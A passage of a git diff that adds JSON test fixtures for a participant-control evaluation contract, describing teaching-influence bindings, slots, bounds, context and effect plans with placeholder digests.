"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "context": { + "run": { + "kind": "run", + "ref": "run-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "participant_address": "participants.student", + "episode_id": "episode-1" + }, + "crossing": { + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1", + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868" + }, + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20 + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": [ + "event-0" + ] + }, + "expected_history_heads": [ + { + "kind": "history", + "ref": "history-head", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "inputs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "clock": { + "kind": "clock", + "ref": "clock-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": { + "kind": "trigger", + "ref": "event-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "predecessors": [], + "depth": 2, + "effects_consumed": 2, + "prior_effect_claims": [ + { + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "content_digest": "sha256:91e616c4f89393b1616cddb641889de7b1928ad0f42499b65409d427f2fcedae" + } + ], + "rule_firings": [ + { + "rule_id": "hint-followup", + "rule_revision": "rev1", + "firing_epochs": [ + "epoch-1" + ] + } + ], + "attempt": 2 + } + }, + "results": [ + { + "result_id": "result-fact", + "slot_id": "fact", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:60dfa8e37526fd03e8f5286062a05a4c18e4ef23b8a535e6adaeef8ebb5200ba", + "status": "resolved", + "payload": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint" + ], + "source_refs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-rule", + "slot_id": "rule", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:60dfa8e37526fd03e8f5286062a05a4c18e4ef23b8a535e6adaeef8ebb5200ba", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + } + ], + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": "sha256:60dfa8e37526fd03e8f5286062a05a4c18e4ef23b8a535e6adaeef8ebb5200ba", + "installation": { + "kind": "installation", + "ref": "installation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": null + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "eligible", + "blockers": [], + "contributing_result_ids": [ + "result-fact", + "result-rule" + ], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": { + "kind": "evidence", + "ref": "gate-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "realizations": [ + { + "effect_id": "effect-1", + "disposition": "applied", + "receipt": { + "kind": "receipt", + "ref": "receipt-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "evidence": [ + { + "kind": "evidence", + "ref": "realization-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/teaching-inject.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/teaching-inject.json new file mode 100644 index 000000000..597f45c4b --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/teaching-inject.json @@ -0,0 +1,405 @@ +{ + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": { + "selection": { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "context": { + "run": { + "kind": "run", + "ref": "run-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "participant_address": "participants.student", + "episode_id": "episode-1" + }, + "crossing": { + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1", + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868" + }, + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20 + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": [ + "event-0" + ] + }, + "expected_history_heads": [ + { + "kind": "history", + "ref": "history-head", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "inputs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "clock": { + "kind": "clock", + "ref": "clock-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": { + "kind": "trigger", + "ref": "event-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "predecessors": [], + "depth": 0, + "effects_consumed": 0, + "rule_firings": [], + "attempt": 1, + "prior_effect_claims": [] + } + }, + "results": [ + { + "result_id": "result-fact", + "slot_id": "fact", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint" + ], + "source_refs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-rule", + "slot_id": "rule", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + } + ], + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "installation": { + "kind": "installation", + "ref": "installation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": null + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "eligible", + "blockers": [], + "contributing_result_ids": [ + "result-fact", + "result-rule" + ], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": { + "kind": "evidence", + "ref": "gate-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "realizations": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/context-invalid/missing-obligation.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/context-invalid/missing-obligation.json new file mode 100644 index 000000000..461bb8a20 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/context-invalid/missing-obligation.json @@ -0,0 +1,877 @@ +{ + "commit": { + "coverage_digest": "sha256:f966a4b4c9845f6824c751af4cceede0c0f50b3095ec336c425b5c259d8745ac", + "decision_digest": "sha256:d1c72c0c53778b391603d2fad4f7a89a2e784920b0bdfad99bf882430d4237d1", + "dispatchable_effect_ids": [], + "effect_intent_digests": [], + "effects_consumed": 0, + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "receipt": null, + "result_digests": [ + "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "sha256:aacb4994403c2d24525b94e19eea45e05f50be437e224a7887c2f54e59286e33" + ], + "state_proposal_digests": [], + "status": "prepared" + }, + "composition": { + "blockers": [], + "contributing_result_ids": [ + "result-assessment", + "result-fact", + "result-rule" + ], + "disposition": "eligible", + "lost_advice_slot_ids": [], + "rule_revision": "participant-control-applicability/rev1" + }, + "effect_plan": { + "decisions": [ + { + "decision_id": "result-rule", + "disposition": "permit", + "reasons": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "decision-basis", + "revision": "rev1" + } + ], + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + } + ], + "effect_outcomes": [], + "effects": [], + "incumbent_gate_disposition": "permit", + "parent_admission_receipt": null, + "parent_application_receipt": null, + "parent_applied": false, + "parent_crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "parent_disposition": "permit", + "realized_effect_ids": [], + "runnable_effect_ids": [] + }, + "evaluation_id": "evaluation-v2", + "invocations": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-fact", + "predecessor_inputs": [], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "fact" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "other", + "invocation_id": "invoke-assessment", + "predecessor_inputs": [ + { + "kind": "ifc-fact", + "result_digest": "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "result_id": "result-fact", + "slot_id": "fact" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "assessment" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-rule", + "predecessor_inputs": [ + { + "kind": "advisory", + "result_digest": "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "result_id": "result-assessment", + "slot_id": "assessment" + } + ], + "projection": { + "digest": 